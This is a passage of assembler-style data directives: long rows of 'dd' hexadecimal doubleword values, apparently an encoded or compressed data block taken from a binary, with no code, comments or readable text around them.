		dd 0F00B2775h, 22C95A3h, 91671B8h, 4DB10089h, 0BE73A0A1h
		dd 47DD5155h, 9474559h,	7196CB13h, 0F27E2F45h, 7D0400B1h
		dd 2672300Eh, 10540386h, 71C8C08Ch, 847C5C22h, 0E182EC40h
		dd 8ED82447h, 244AB589h, 0F5E114Bh, 0FED2BF0Fh,	6713915Ah
		dd 601B440Dh, 4303BE5h,	6D7D9D99h, 4674C007h, 294C53ACh
		dd 69ED38D8h, 449C967Ch, 4F986024h, 8DD5E31Dh, 0E5B58B82h
		dd 0E8E6425h, 611678CEh, 0B9F2C36h, 820B428Ah, 87110874h
		dd 0FE86D708h, 8D091FCDh, 48AAA6E1h, 559C31C2h,	8A230927h
		dd 903FD4B2h, 8C00BDD4h, 0A01775BBh, 5E1EF84h, 0FF861CEh
		dd 135FCC8Dh, 0B006BF88h, 0AAD30038h, 8DBAF552h, 730779DAh
		dd 0C20427D9h, 4C27856h, 1C1BF66h, 2E978203h, 8E3F6802h
		dd 0EE8A02AAh, 0BF96486Ah, 5419B0A5h, 44341Fh, 0A14F9B2h
		dd 4262D6CAh, 9100E37Ah, 8624C61Eh, 98872C4Ah, 0B934D11Eh
		dd 1C498D0Bh, 5084CDB3h, 40152482h, 95C6609Dh, 6F2A034Dh
		dd 0C8C8261h, 3600422Bh, 3B6787AFh, 1ADF1DCAh, 0AC07BB53h
		dd 1A4499C7h, 53E79860h, 0DA65430Dh, 5F7248E1h,	36301AF2h
		dd 0A0B93A41h, 0B039181h, 3232DDBDh, 0F1800C9Bh, 0D7090A41h
		dd 620512DEh, 838352CEh, 1A14075Dh, 18995059h, 1452B4Dh
		dd 0B77D0CBAh, 0F50E6795h, 61E46077h, 60800F80h, 51B69102h
		dd 16DCFF68h, 2A593326h, 69801B22h, 6FF06E70h, 0EF96B900h
		dd 0FA118AFCh, 6D530379h, 0F9ACC38Dh, 0D372AE2Ah, 49B5290Dh
		dd 57235617h, 4824FC32h, 6508AE2Ah, 95CE3024h, 0FD21A59h
		dd 1A23C23Ah, 28038528h, 0AE7B23A4h, 1EB9C053h,	645A4D5Dh
		dd 2452B54Ch, 72C3E51h,	302C3853h, 61536401h, 89C8C35Bh
		dd 58AE945Ch, 0C37D5343h, 4449FD40h, 21DF7729h,	8D8595FCh
		dd 779648F8h, 67D1969h,	839AFB43h, 81443109h, 8F0AE82Dh
		dd 0E0FBFE45h, 9657FDC5h, 0CF9731CDh, 965AD7D6h, 0C212E5CCh
		dd 1923D03Bh, 0D41E6F00h, 65022EFAh, 4AE58253h,	448F5FCDh
		dd 8E305610h, 9581C2Bh,	8F71D240h, 0D4121980h, 12A8106Ah
		dd 2C621D19h, 459D98C0h, 14C9137h, 0C467B9FCh, 2526379Dh
		dd 6150D064h, 89C8C358h, 0C0059144h, 7DC35040h,	87022E73h
		dd 0E98A5BBBh, 145E8425h, 0C11BCF40h, 0C7002675h, 9F17F40Dh
		dd 74BAE74h, 0D6B88545h, 9C876480h, 0F922B559h,	0BA660913h
		dd 2B32F07Ah, 9CDED02h,	0D623C72h, 92F08A19h, 0DF6508A4h
		dd 665C912h, 19233C3Ah,	9F43E21Fh, 2C40F11Bh, 45E96A55h
		dd 0BACCC82Ch, 0A4E44838h, 2CB3617h, 8F2BF186h,	0EC7C3158h
		dd 0C44292F5h, 0D81A1D0Ch, 83D623CDh, 0FD3FF96Fh, 3B687709h
		dd 61F97F04h, 682287B6h, 1DB80094h, 258D008Ch, 0C19DD59Bh
		dd 0BC3532E7h, 8598BC94h, 7FCF0681h, 6659299Dh,	0D219A098h
		dd 0D90AAEA7h, 6B681CC0h, 0E8032F80h, 952E1851h, 45609E03h
		dd 55DD3Eh, 1C9FAFDEh, 52B0AC8Ch, 0E0625376h, 2C126938h
		dd 0F4A8CE48h, 46A0880Fh, 7D498D31h, 40FA5B2Dh,	0F860C085h
		dd 0D812B866h, 0B1056163h, 9808F199h, 0B70F8091h, 0D98D23C9h
		dd 28E42252h, 0B59CFDBDh, 154674h, 1AB6E8A9h, 0A0FFF883h
		dd 9405AD9Ah, 0C2D885Fh, 0C5BD3303h, 85752C28h,	93EA1929h
		dd 2F521FAh, 0F5410209h, 0C486A6F6h, 1184676h, 319C793Dh
		dd 0D040F5C9h, 90BB71E1h, 5A9F79CFh, 0B95F065Ah, 0D0599111h
		dd 0EFF21937h, 0C442311Eh, 0F10F8801h, 88A40B3Dh, 378804Eh
		dd 0BB18958Dh, 1FD859F5h, 0A75ED8C8h, 62144485h, 1C66622h
		dd 149AA7A8h, 2D54B91Dh, 0BB874h, 9E363387h, 0B66AC853h
		dd 417AB54Fh, 0B168CD00h, 0EF50BC0Eh, 3124564Ah, 62540C86h
		dd 0EC8A06FCh, 96A01751h, 41822BE2h, 0EF21CE7Ah, 94D02720h
		dd 0C5296417h, 37BF5601h, 8711D67Ah, 801D6500h,	0C55A1688h
		dd 8E8700E0h, 99C87868h, 2E58FB45h, 2516B259h, 0BC5499F8h
		dd 0C175A76h, 41814825h, 2366AF84h, 50F48A09h, 0F3C0A46Dh
		dd 5CB95F21h, 0C62611A6h, 96CA6043h, 2500B8FAh,	4493D358h
		dd 0A6948C1h, 0E8DD286Ah
		dd 0C0C31F14h, 0FDEE29ACh, 36EC2A32h, 9CAD6100h, 5A51F425h
		dd 2969B35Fh, 8087801Fh, 9290B1D2h, 926FDA59h, 0A98D7209h
		dd 0B568B1D8h, 9910B138h, 0F38B7018h, 0AC0B2412h, 0A88A07EDh
		dd 49C230CFh, 62016758h, 95C7FEE9h, 0C144A1F8h,	13C12911h
		dd 253E0197h, 0A3071B23h, 0EB00DF54h, 98D21441h, 27F1251Ch
		dd 0F9F7B922h, 114D208h, 8C14E8D4h, 0F5B27F00h,	0CDA6C8BFh
		dd 6DA9A265h, 601A44F3h, 0AE6D980h, 0E78E0C88h,	831110BFh
		dd 4206A98Dh, 521234C0h, 8B0E98F8h, 381D36C9h, 278D8987h
		dd 0C016090Dh, 0AE4A3EB6h, 7961CE12h, 1D8009E8h, 2BB22E2Ah
		dd 0EB1F8B9Ch, 8D4E2DA2h, 5F489881h, 3E485EE9h,	3D1D232Ch
		dd 0B7FAEF00h, 64AAD5D6h, 0F45420Ah, 600E4081h,	6C07C3BAh
		dd 8F61B373h, 78B486F4h, 0E3FA5D8Bh, 2AA188DDh,	78C8A4BFh
		dd 7BC981C0h, 57222474h, 993C872h, 721403F1h, 31BA660Ah
		dd 92CFBD95h, 4451DB90h, 3D303EDFh, 65D6C700h, 6674BF7Fh
		dd 60C86EEAh, 8D018209h, 0E3941FA1h, 70805691h,	28681EDBh
		dd 8BEA6Bh, 4CB56CB8h, 7817E7CCh, 27FAC15Ch, 0FC8B882Dh
		dd 0C89102C9h, 0E71AE3E9h, 110B9DDBh, 34A8019h,	5C169075h
		dd 4E5A0A32h, 8BED560Ch, 0F961C20Dh, 65007D9Dh,	0A9F162CAh
		dd 15693F41h, 17754F47h, 19B21BB3h, 0BD1AB30h, 9D3384FCh
		dd 3900FD44h, 4869269Fh, 0E657C81h, 0A8689EBDh,	5D80638Ch
		dd 0EE5F2040h, 31B13B85h, 1CECC9C8h, 6B66008Ch,	0BCEA3CA9h
		dd 1453ABECh, 0D20078FCh, 0A6FE6645h, 5C03BD08h, 0DF025B56h
		dd 0FFE9207Ah, 0B5018768h, 0AE0E0D4Ah, 0FA17C48Dh, 1CB27BB3h
		dd 130DB30h, 26A27AF9h,	603FE1F6h, 7F90F588h, 48A7A620h
		dd 93580C09h, 17E806D4h, 0F9B6328Ch, 4F44E85Ah,	2B4C1A00h
		dd 0CB9FB466h, 90130015h, 54F862E4h, 0AB0B5692h, 6E5AD68Bh
		dd 20F14A86h, 0CF8A6055h, 59950312h, 4261144Fh,	43C3B70Fh
		dd 1756692Bh, 20A6DF62h, 5973E651h, 0F09CF356h,	76E01A88h
		dd 0B0F50282h, 800FF2A5h, 3CB95391h, 4A546C9h, 15419589h
		dd 9DF12923h, 0E0674522h, 8952FBDAh, 0B88D4A57h, 0EFB91C20h
		dd 99E396Ch, 424D2C71h,	217FD944h, 21B978D9h, 7451D614h
		dd 9CB2ECBh, 81840918h,	0A5410BCAh, 7B823D35h, 0A88F7239h
		dd 19E9D8CAh, 8D53CD25h, 0F7120958h, 0A1CB89F9h, 61D75043h
		dd 1FB2006h, 0B15B0CEAh, 1816D1F6h, 0BB5B286Ah,	16E55FD5h
		dd 0C8058EB1h, 134AC017h, 0CA9E7B5Fh, 0DEF6D40h, 0F29D000Ch
		dd 0F7E1BEC0h, 139059F5h, 0ECE5C3D4h, 13148C16h, 3EC7C51Bh
		dd 81EEC1EDh, 606AFEB9h, 99E8FCC4h, 4E003BC0h, 0E5BC59B8h
		dd 0BE076AAEh, 4499FA69h, 848C61A6h, 988495B7h,	3C50542Ah
		dd 57F524CAh, 0EC02BA86h, 40FABC0Ch, 9A9E5FD0h,	0E1C6D507h
		dd 6009686Fh, 90FC53CCh, 8015FA6Ch, 91378531h, 81C26917h
		dd 20F5640Ah, 290B076Dh, 142EB59Dh, 0E5E9580Dh,	7D81D38Fh
		dd 0F9805707h, 0D21562E2h, 0EFA17AB6h, 0C91F30E5h, 0D2E83A6h
		dd 39458904h, 95183EF1h, 4A40FAFCh, 3F40EB18h, 8680BB3Eh
		dd 92633B9Eh, 194A400h,	0A94955C6h, 85C7F209h, 17DE2E65h
		dd 1A23773Fh, 0DFD87800h, 1EA2164h, 0B9E281EFh,	725435E8h
		dd 4C28C8CFh, 8F4CAC28h, 8C3D18B3h, 28830F19h, 1C1201DAh
		dd 0EED859E9h, 78249B0h, 890E1429h, 3DC790BDh, 0B921A996h
		dd 0C5953310h, 0BD961EB2h, 0E8A5E864h, 7EFBE0h,	0CE23313h
		dd 9DDD7668h, 886F5901h, 0BF9E6ACFh, 0FBE18882h, 9C605F7Dh
		dd 8953BD01h, 0D95E4BC2h, 0FD792ABBh, 0D9607AA2h, 0F5802109h
		dd 0CEA661h, 1EC2B1D4h,	0D5874DF1h, 9292103h, 0D1E5E19Ch
		dd 6882616Ah, 139BD8Bh,	356B9A5Ch, 3C4C8083h, 22D9F4BFh
		dd 0C6F8D299h, 0C6C28F0Bh, 2031170Bh, 0E80229D1h, 0A6004C5Ah
		dd 0C6DC9F6Fh, 6D55Ah, 5EB5B6ABh, 6E0CE8F9h, 0F0CAD401h
		dd 79BD894Bh, 0D25A0924h, 23613ABAh, 0AF01001Bh, 4DE17498h
		dd 0F59B7716h, 0C1422788h, 0D9D012Bh, 0C5442B13h, 0A08A151Dh
		dd 0BEACFA49h, 0E949031Ah, 88C85C60h, 0A73D09D5h, 62CD1045h
		dd 196C8D1h, 6ACF3816h,	0BBC01C88h, 5B5CE22h, 69AD5CE6h
		dd 82919445h, 9CF3016Eh, 40C94B00h, 7CBA1E9Dh, 0F1C51C98h
		dd 68B6FFFh, 8253807h, 1A665E3Ch, 0E23CA723h, 163F07DDh
		dd 93508EDDh, 1DC801CAh, 0CEF2EBC0h, 0DC6A0245h, 0A9C0B323h
		dd 8E0008C6h, 0C7D5259Fh, 4F7492F2h, 0E0FD3673h, 0C2862351h
		dd 581AE902h, 9BDB0FBh,	7572086Ch, 25AF2A88h, 96F7FE25h
		dd 61500CCDh, 0FFAF621Dh, 0A9B11DC0h, 0BB651D4Ah, 0E8AD0BE1h
		dd 0E6600248h, 3DA75100h, 0E92E4306h, 80721852h, 0FE079A5Ah
		dd 19F30882h, 108F2F3Bh, 1CC9DA53h, 8042BA8Ch, 590E513Dh
		dd 48F1B540h, 909D3167h, 0C9346AB5h, 2E41E55Ch,	0F7B76050h
		dd 0ABA649B9h, 2808D908h, 27075881h, 3016211h, 0C3F6DB8Ch
		dd 0FC982204h, 56619897h, 0B8520868h, 6AF09CA8h, 411BB804h
		dd 0A764DD10h, 0F7D48F81h, 802D0150h, 0AC9B6847h, 92EC4718h
		dd 1EF0EA4Ah, 61684F40h, 802F7B26h, 28872A6Dh, 7D666060h
		dd 56286A53h, 0C08518C2h, 41759875h, 64980A68h,	0D32ADB87h
		dd 6183D021h, 0D7A4684Ch, 20B48092h, 6A9D8B11h,	45B257Eh
		dd 5C6F9605h, 9152B54h,	5DD203C7h, 0C7C43ECh, 0ED8507A0h
		dd 0A4A9284Ch, 1947021Ah, 8B49B52Eh, 67281144h,	97681E45h
		dd 7D9210F7h, 67991743h, 280CAB02h, 6032750Ah, 0A1A3B46Dh
		dd 0C32524Eh, 344A36EBh, 80B9BC30h, 594F09CBh, 0A48060FCh
		dd 8DE881CAh, 2EC70F12h, 33BD9581h, 74664AA4h, 872E1446h
		dd 1A743253h, 1CCA000Bh, 77945F0h, 0FF645061h, 0E6990935h
		dd 2589E8CBh, 9DB20AA3h, 98954852h, 9857B2DAh, 18092ED0h
		dd 583A64FFh, 9C2A5174h, 2B8D881Ch, 27916C26h, 0AC2800Eh
		dd 683BD62h, 174472D4h,	39953143h, 78E9BB12h, 8B0F2B42h
		dd 8D4F8106h, 34073319h, 0C161A8DBh, 2CE19529h,	334E8104h
		dd 0ADCE89C0h, 5CB54A03h, 0F4080F0h, 640B073Fh,	0C24F8F48h
		dd 0C004C483h, 0B96C8BCDh, 1817D13Ch, 982905FEh, 0C1FB83DEh
		dd 100A8437h, 61E9D38Bh, 0C8B2D902h, 8294E1F9h,	0A5B5091Fh
		dd 84BDA52Eh, 519D7A45h, 4C8B8B40h, 33C70C24h, 0FF21A481h
		dd 3383033Dh, 0C0415B8h, 5C8BC3FEh, 0E8705530h,	24815D88h
		dd 8A34DFEDh, 281B838Bh, 34AF2040h, 5D0C8954h, 518D27A0h
		dd 6128AB96h, 9F94B800h, 76C9B953h, 5801165Dh, 80B1DB61h
		dd 0C92E63DAh, 7442002Dh, 0B9330B23h, 1A004637h, 0AAF28148h
		dd 0CD54F538h, 2FBFD5A6h, 17E14204h, 0F6926F15h, 0B2F5F0B7h
		dd 24AC7C40h, 0E28EA131h, 0E690B9F9h, 0D71804B8h, 81784855h
		dd 0BB0D00F7h, 8685D465h, 0B63840BAh, 0EA197D34h, 0ED0C5FE8h
		dd 468FBDCh, 75564D58h,	1491C70Ah, 0D5FFF81Ch, 761FA149h
		dd 16BC192Ch, 63ED008Ch, 0AA9CBFABh, 5BB8069Bh,	99958909h
		dd 42F5ED31h, 7510043Dh, 0FA428417h, 9B2038F4h,	8926B146h
		dd 6973437h, 82F12880h,	963AE92Ah, 1C0349D2h, 8F35382Eh
		dd 0DC010Ah, 65637845h,	6F697470h, 49206E1Ch, 728566DDh
		dd 0C12616Dh, 656C0A07h, 2C337397h, 75087C20h, 68743E64h
		dd 6C36CEF9h, 6977CF3Ch, 63CF67CFh, 73ED644Fh, 0DCCFF728h
		dd 0AFB54061h, 2ED91F07h, 20D06D2Ah, 16686754h,	0B779676Bh
		dd 0D0AF375h, 1A6047Fh
		dd 46702833h, 43620373h, 2B4C5254h, 9BD1FDAFh, 361E699Eh
		dd 8FA06497h, 7970A1C5h, 696C0847h, 61F06297h, 0A2296472h
		dd 56420336h, 9373EA65h, 0FB3DFB99h, 501ECE25h,	15638743h
		dd 0F4E496Bh, 4F846423h, 50705455h, 44FF6F72h, 0A30F2D1Dh
		dd 0E6200F3Bh, 3D746934h, 1E0B0F39h, 8E505179h,	0B81E18A3h
		dd 132C6F59h, 12D6282h,	0B24C0109h, 0E06E9AFh, 68351C42h
		dd 95C08125h, 42E4F3C2h, 85EA3544h, 7164E19h, 51164426h
		dd 36612430h, 853665ACh, 28E71B35h, 11875225h, 875EAC42h
		dd 66AC8F11h, 0ACAD1187h, 96118762h, 118756ACh,	875AAC9Eh
		dd 18A9A510h, 1D41450Ch, 262A2E1h, 27A9BD09h, 51953A19h
		dd 82B8D0Dh, 0C9115C85h, 8163B0DDh, 1C5AF8C2h, 5E8DB9D8h
		dd 52832195h, 40288234h, 0C03BD4C3h, 8429D510h,	22400CD1h
		dd 9D8B2A55h, 4CC32F13h, 6865980Ah, 2250C411h, 54421E52h
		dd 58E45E21h, 421E6222h, 0A556225Ch, 0DAB3EDCh,	506844AFh
		dd 645A52CDh, 56325A0Ch, 5E0C6219h, 22524386h, 48A954Eh
		dd 2280C51Ch, 0FF8B8907h, 24618571h, 24BA406Ah,	0DDD21952h
		dd 2C01E1ACh, 0C18BC141h, 8E6618EBh, 2C0BE9A1h,	0E602504h
		dd 289C3229h, 61394007h, 3404C232h, 644C50E6h, 8081460h
		dd 4FA355F6h, 0E9C32430h, 8B21C3F8h, 8F1C3FB5h,	0F01BE681h
		dd 33C66518h, 81A9B4E8h, 0D43C64Fh, 0D43B53Bh, 0E9860F39h
		dd 0D820D851h, 0CFE622F2h, 66506FC0h, 1224C88Ch, 10C00A03h
		dd 0B57E2A1Bh, 8B4294F6h, 94D4485h, 0DB0A1886h,	2C673F08h
		dd 32F63875h, 0CFC62404h, 93C15D2Bh, 3B083B08h,	0BFCE3D14h
		dd 0E0FE54C2h, 4A1CC0B1h, 66F34753h, 9FCB689h, 535B022Bh
		dd 0D04C0995h, 43A27082h, 13BBE011h, 0CBEF0653h, 0C303E380h
		dd 5750845Bh, 0ECC7BC76h, 31144F15h, 0BA448B08h, 0C59829E6h
		dd 7C068915h, 2EE51878h, 23336D24h, 5BBD2901h, 9A391A2h
		dd 243E8060h, 0BB4031EAh, 763AB7A1h, 0B101B01Ch, 333C4ADh
		dd 2C88AACh, 0D19032C3h, 0B32AACBh, 210140D2h, 91C90A4Ah
		dd 236FE5D6h, 4011DD0Dh, 0D48B5210h, 7A055773h,	0E9C03308h
		dd 80AA2103h, 8D61853Fh, 0BC505A5Fh, 0DC565153h, 0C8DB9732h
		dd 0D8F4AC31h, 81D3D100h, 465ABCC3h, 7DB0DE37h,	970B4919h
		dd 0C38B10E8h, 5B593A5Eh, 0A57B6029h, 0AC65E9C4h, 77682AEAh
		dd 1CE781C0h, 0FA086DFh, 465A8D8h, 0D430293Ch, 96EA38E4h
		dd 0C6604A6Eh, 21D2AE8Fh, 6E0640Ah, 7A22BD1Fh, 95E95A89h
		dd 1F90F3F6h, 2BA408Bh,	9B46F317h, 19219289h, 0ACFE3C14h
		dd 0A3FD1E46h, 0AE89E430h, 69A287D1h, 487690DFh, 7A004D72h
		dd 0CAB2B80Ch, 0A3BCA945h, 3006074Eh, 46C8D120h, 0FF70A3Bh
		dd 488DF182h, 280814EAh, 284C94BDh, 2456B828h, 20135351h
		dd 0C4A242Ch, 2D3CC267h, 4804079h, 32133498h, 0C3C112D8h
		dd 671C1508h, 5B0A1CD4h, 20375E59h, 3B702198h, 910ADD0Bh
		dd 0C519881h, 0C0081D55h, 8118FC86h, 732F3A60h,	0CD011D23h
		dd 0BDEAFFCAh, 2D4E6C4h, 0B966BC82h, 0A3D0C152h, 6018C0E4h
		dd 0FE10F18Ah, 7C699C61h, 6B5E0E43h, 40E1050h, 141423BEh
		dd 1BE89CC5h, 3419078Ch, 716AE2D9h, 62E89414h, 0A45E0080h
		dd 285BC109h, 2720E244h, 0B4E62352h, 54F3D001h,	59E28AEFh
		dd 4BE29345h, 0A03015F2h, 88605E85h, 620001C0h,	4AF89873h
		dd 2D258EEh, 0B663A239h, 30D961FCh, 0A8524B44h,	5CC09F6Eh
		dd 0E0C6D21Fh, 1A810FBEh, 49E1743Fh, 35AAE97Ch,	0DF6E6F35h
		dd 0BE3F007Ch, 22BD6166h, 0C2B48D0Fh, 0EF7D609Ch, 2B9C004h
		dd 3B207305h, 1580DF8Ch, 665D0E24h, 44DC7F7h, 16512EDh
		dd 0EA83B7B9h, 0FB88901Fh, 0D6378B4Bh, 0BE0019BFh, 24EBFE4Fh
		dd 0B1CFC28h, 43A53ECEh, 65EA2782h, 0FCAE2480h,	0E77180A6h
		dd 7C211A2h, 14E0BC3Eh,	0C44F0063h, 5E3224FFh, 11133850h
		dd 0D98E100Bh, 0AAB00074h, 0B4ED21F1h, 5128731Ch, 24EC9259h
		dd 16E0B939h, 0AB986787h, 43330BBAh, 8E4C222Ch,	0C48BFC1Ch
		dd 0BA60D180h, 4AB16FF9h, 6184B05Ch, 0EB01CD12h, 0E91671BCh
		dd 4E729969h, 0C016882Eh, 0BE2F59DDh, 0C5F1280Bh, 0F8954007h
		dd 148C250Fh, 61853053h, 86C03D49h, 3F55FC10h, 7182BF07h
		dd 0BB6BBF4h, 158A8FE9h, 1CA016C8h, 4180E576h, 0AB84B4D5h
		dd 6A61D1CCh, 0A028CB6Eh, 0CABD12F1h, 0A6731372h, 0B294E004h
		dd 0B8B511A9h, 0FF285001h, 57F5E712h, 0D9100782h, 0B60F80EDh
		dd 0C8FE0140h, 5A17B081h, 5F028B12h, 0F52F460h,	5EF1B700h
		dd 0FE7DC181h, 61362D23h, 17399B64h, 1679007Eh,	0C5957259h
		dd 43B600D1h, 2458401Eh, 1B981D60h, 1DC47085h, 0DFB8A460h
		dd 0BD74841Eh, 9665601h, 7742890Fh, 6BF06FF8h, 0E64594Dh
		dd 0B7DB4B2Fh, 149CA293h, 4CE5AFF7h, 0F488C0E2h, 0E1B4A0h
		dd 68015E0Dh, 0E47E1215h, 2E498004h, 0D0D5E917h, 7DE0B7FCh
		dd 207A7A0h, 96A1B64Fh,	0AF4B6860h, 0BED50082h,	0CC4560BCh
		dd 0E850C28Bh, 4009B1Ah, 9E067F6h, 3F573D5h, 7F17D451h
		dd 0D3B885C0h, 409592BEh, 2C8640F6h, 401DE85Ah,	0B76AEEACh
		dd 5E8C4600h, 7005B866h, 0C2810858h, 0F015FFEh,	94BEFBBFh
		dd 0FC18F0C4h, 7CCD30EEh, 8B99B00Ch, 0F531A09h,	0B8119086h
		dd 2C450002h, 0C3815F6Ch, 0D225AA87h, 6604374h,	0D7442A12h
		dd 2F0C0C08h, 1E648058h, 8E4AC4C7h, 8FF54301h, 0F1BC0E02h
		dd 0EA801585h, 2AEE9DB6h, 0C2C92395h, 3137FB2h,	1096C1D7h
		dd 1CA831Dh, 496A3DFCh,	60330811h, 4424DED6h, 3F1195F1h
		dd 0E0D3E325h, 80AE3289h, 8CF701ADh, 831244E9h,	0B40D0700h
		dd 3BA3AE7Ch, 0F4210006h, 0DC61B76Bh, 891774E0h, 0D4406DE9h
		dd 0CD0D16B5h, 54FAFCh,	3F315ADAh, 0CB050145h, 6D439B00h
		dd 0D5C20B7Dh, 0B920281Dh, 99BE3004h, 0C8727D11h, 4469D600h
		dd 0E2A130B7h, 0A36003DDh, 23BCE4ADh, 76403EA2h, 26F8BF0Ah
		dd 0D641AB0Dh, 28E0402Dh, 61FB886h, 0B146A91Ah,	580D285Eh
		dd 40BB1DDBh, 5059C8F8h, 0E88A382Dh, 0E1B318D4h, 0A28120DAh
		dd 1F1D9A1Fh, 92A73C00h, 79EC97B5h, 905F0730h, 30A30B22h
		dd 0F55B427Ah, 0A8DB9CC0h, 3E1694D5h, 0A4802508h, 4842862Eh
		dd 6E50AB20h, 51C13B44h, 90A5A937h, 637C3181h, 0BEC60DB3h
		dd 0AB4E8B80h, 5E070747h, 4CAA5C3h, 5B3F1F18h, 0A39B012Fh
		dd 7300EBC5h, 6601AE21h, 0D3D5B5D1h, 9449C1B9h,	30877521h
		dd 83A9EED4h, 10073F97h, 0F237A362h, 43F170DDh,	6AC007DEh
		dd 0DC0448CCh, 0DAFB0918h, 0A30BA210h, 783DE0B8h, 694A063h
		dd 0D2F702D5h, 19B2881Dh, 81A28081h, 3EB9E45Ch,	2965AB32h
		dd 1BCD10C1h, 93106D89h, 16001245h, 5E5B0BE2h, 3A9AE2Bh
		dd 0F47B79ACh, 3CC8C3F7h, 2200433Fh, 96E4D401h,	0C0328E49h
		dd 2E7C440Ah, 0C700F8E0h, 5727A77Ah, 3534BBh, 735F4330h
		dd 671A3D9Ch, 0F42AC200h, 0C1C5AA4Ah, 5CB0004h,	52A1D238h
		dd 3F02CE1Ch, 217E9C1Dh, 1380A04Bh, 1EA9C207h, 0F73C74AFh
		dd 0C04213Ah, 6BF7D4FEh, 1D29360Bh, 67A880F3h, 0A9C85h
		dd 904EE268h, 6932FA9Bh, 9E1473E4h, 72C4DFFh, 266ADFF8h
		dd 246BB4A0h, 0FE9D0001h, 4AF3982Fh, 300132Ah, 0E658F71h
		dd 0D2C229h, 40FB9E2Eh,	0DA458CE3h, 25C08D0Ah, 510E8181h
		dd 8CAF8C6Fh, 0CFD81FE6h, 1B003DCBh, 1EB8B702h,	8C009779h
		dd 0EB1F7267h, 0C52CCEh
		dd 0CF4943E6h, 0D1B1B60Ah, 0B0B50303h, 0A0619BCCh, 9917A1h
		dd 0AC94513Fh, 15D105B1h, 97070DB8h, 0ED2EFCCAh, 0ADF8E350h
		dd 0F4AF00DEh, 0C0188435h, 5A007891h, 108E51A5h, 130E8DB1h
		dd 0F43D88h, 4839F7BDh,	1F0073ABh, 8DB23058h, 0F659E0h
		dd 0CE5BC742h, 0ECCC3486h, 874A6539h, 2FCB9BC5h, 0B700BF1Ah
		dd 0C45F8F9Dh, 526F007Eh, 0E2B2D034h, 302E5ACEh, 0D7034EA7h
		dd 99609B32h, 7DD836B0h, 0B5050267h, 7FE69654h,	78936C48h
		dd 0CE648309h, 6BAB80EFh, 5842CCh, 0C803D4F2h, 0D0273571h
		dd 0F4E7040Fh, 417400FDh, 5832BDB2h, 9E010536h,	0ABA748DEh
		dd 0D99020D8h, 0DF739903h, 98BC6128h, 70A0371h,	55CFBF76h
		dd 9D8060C1h, 3D008A09h, 0B22BD762h, 0E7892AAh,	0C248F6FFh
		dd 0EFC4140h, 0F1000895h, 9C34D69Dh, 9C05E13h, 2092BD3Dh
		dd 0E43C2000h, 8300B33Fh, 0BF01D6E2h, 108524BAh, 0AF41FB7h
		dd 0F88D64C2h, 0AAC40704h, 0A3666080h, 0DB100F2h, 27CB581Eh
		dd 0F900A6F7h, 43D8DDDAh, 603DD6A4h, 3E140F5h, 0B200678Eh
		dd 970651EBh, 0FBF6ACh,	0C5763195h, 27EF4356h, 0D39BE909h
		dd 0E4AC00AFh, 34A284h,	18634616h, 0D1EAED1Ah, 0C0518B00h
		dd 0EC0A4D36h, 29F200CAh, 0BA7A3F20h, 0BB50735Eh, 0DE24DFC8h
		dd 0A500E5C9h, 4777C513h, 140AC161h, 0E9105EACh, 0BF8FF8F3h
		dd 3136B800h, 7EF10134h, 0A74E0081h, 5B97CBC8h,	5F001814h
		dd 0EC58A38Eh, 7E07A99h, 0F2E6DA16h, 6B53D0CDh,	0A6034D3Dh
		dd 0D88DAEC3h, 0E384C85Ch, 7B760044h, 32734B3h,	36E03A37h
		dd 244ADE00h, 9DB84CFBh, 5EEED9h, 0ABAAF530h, 0F8C61462h
		dd 3141AF0Eh, 6AC0808Bh, 6E5EA9h, 0AECDE4C7h, 0B887A5F9h
		dd 0A108500h, 0E466B40h, 706F469h, 0DB0F7E3Ch, 8C793042h
		dd 6B304CF2h, 0BEF3183Ah, 0C3DD00A2h, 0E2B58DA0h, 0F2008859h
		dd 5318AFE9h, 0EE8673h,	8BD5D41Eh, 8144DA6Eh, 1900957Bh
		dd 0FB187E69h, 1573B29h, 0EFBB3309h, 0C412DFD1h, 8E1DF6C2h
		dd 0C4C35BAFh, 0FF5E6276h, 0DBF787E0h, 47840073h, 0D588B057h
		dd 1F00702Dh, 4E6CDABDh, 9EF9B7Eh, 572338F2h, 0C7C4E420h
		dd 10005F93h, 0D8C3905Dh, 358278Dh, 7464158Ch, 1100548Bh
		dd 82BC263Ch, 7D14C3Eh,	0EF1E566Dh, 0AA9D508Bh,	32FADD31h
		dd 57486601h, 724E899Ch, 770AD7F8h, 56B40091h, 0A8C3F226h
		dd 0F60F41CCh, 8639D6A6h, 0D447DDh, 8670E029h, 8F2C2880h
		dd 0CA0FCFE8h, 0ABC50Bh, 0DD484698h, 44490092h,	28BA96E1h
		dd 1B0018A3h, 0E9FAAB31h, 7F861FD3h, 980B2CAh, 88270591h
		dd 0C0E7A402h, 0BCE38CC8h, 94EA2524h, 0B44CA200h, 0DF867h
		dd 71996964h, 0BFCB39EBh, 0A2A71900h, 0A3A818C2h, 2541000Dh
		dd 65B24AC4h, 6A1EE3F6h, 1EFEE943h, 60C0E807h, 1081AAEAh
		dd 4A6B00F2h, 0FF1FB17Ch, 0C81023E4h, 7324B9DFh, 0C2100041h
		dd 0B59A711h, 0A6F5B41Dh, 0F2408040h, 8830A4h, 4D53233Ah
		dd 94C8C5A2h, 73B05D59h, 2C5F5C00h, 0F3ABA8C7h,	0EC371221h
		dd 74940BEEh, 4C806E89h, 0B3B2FD20h, 0B3A9800h,	0BAFBA03Bh
		dd 34B04Ch, 0D652BF42h,	694C931h, 86D03200h, 273C1E69h
		dd 0FC500C05h, 21C83A1Dh, 34E35B26h, 206B5501h,	0A8C580F8h
		dd 0A3D8E0h, 0A5872C2Eh, 2D7E38DBh, 43E1AE00h, 45B0FAF9h
		dd 0C729263Dh, 266F00B8h, 0D806EB4Ah, 1357FC05h, 0A490568Ch
		dd 2C82AF7h, 11F1474Eh,	46409098h, 6048DDE6h, 1029002Ah
		dd 41A878F3h, 4AD300B7h, 978DFFB6h, 4904D03h, 0F80996E6h
		dd 805D992Ch, 51D2DADCh, 15620578h, 402322ADh, 0E91187BCh
		dd 0B4073EE3h, 0B753EA84h, 88FCA9h, 0BC4EEE88h,	4700F28Bh
		dd 48F18ABBh, 0A0F089BAh, 18C1310Ch, 841F790h, 4204758Dh
		dd 0BDE59FBBh, 0C33C2C90h, 7EB8F822h, 16241E4Ah, 15440165h
		dd 873DBD3Eh, 0DD54A688h, 3C46CD63h, 93003C11h,	0E7B03389h
		dd 533AD86Dh, 7A940027h, 0CB4526B6h, 2C500317h,	144F2AC6h
		dd 55F6CDD0h, 0AF90F700h, 769BEB13h, 0DE9F0EE1h, 4187E69Eh
